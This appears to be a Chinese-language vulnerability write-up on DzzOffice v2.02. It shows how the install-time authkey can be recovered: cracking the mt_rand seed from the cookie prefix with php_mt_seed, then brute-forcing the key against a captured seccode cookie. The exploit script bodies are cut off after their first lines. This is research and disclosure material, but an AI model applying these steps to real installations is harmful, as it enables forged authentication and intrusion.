DzzOffice
DzzOffice 是一套开源办公套件。
官网: http://dzz.cc/
github: https://github.com/zyx0814/dzzoffice/releases/
版本: DzzOffice v2.02
漏洞分析
其加解密模块大致和Discuz!旧版本相同,同样存在authkey被爆破攻击,只是攻击方式略有不同。
authkey生成:
源文件: install/index.php
1 | $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10); |
源文件: install/include/install_function.php
1 | function random($length) { |
漏洞复现
首先通过cookie前缀爆破出随机数种子:
1 | $_config['cookie']['cookiepre'] |
1 | <?php |
php_mt_seed 地址:https://www.openwall.com/php_mt_seed/
1 | ./php_mt_seed 61 61 0 61 17 17 0 61 38 38 0 61 39 39 0 61 > seeds.txt |
接着打开登录界面,F12打开控制台,然后在cookie里取得seccodeXXX和对的值:
1 | document.write('<img src="misc.php?mod=seccode&update=82310&idhash=Sz4Dyn80" class="img-seccode" title="刷新验证码" alt="" width="150" height="34">'); |
通过验证码获取一对密文和明文在本地爆破,seccode生成格式如下:
源文件: core/function/function_seccode.php
1 | dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true); |
然后只需要本地暴力跑authkey前6位验证idhash就可以了:
1 | <?php |
跑得会相对会比较慢一些,需要注意PHP版本。
参考: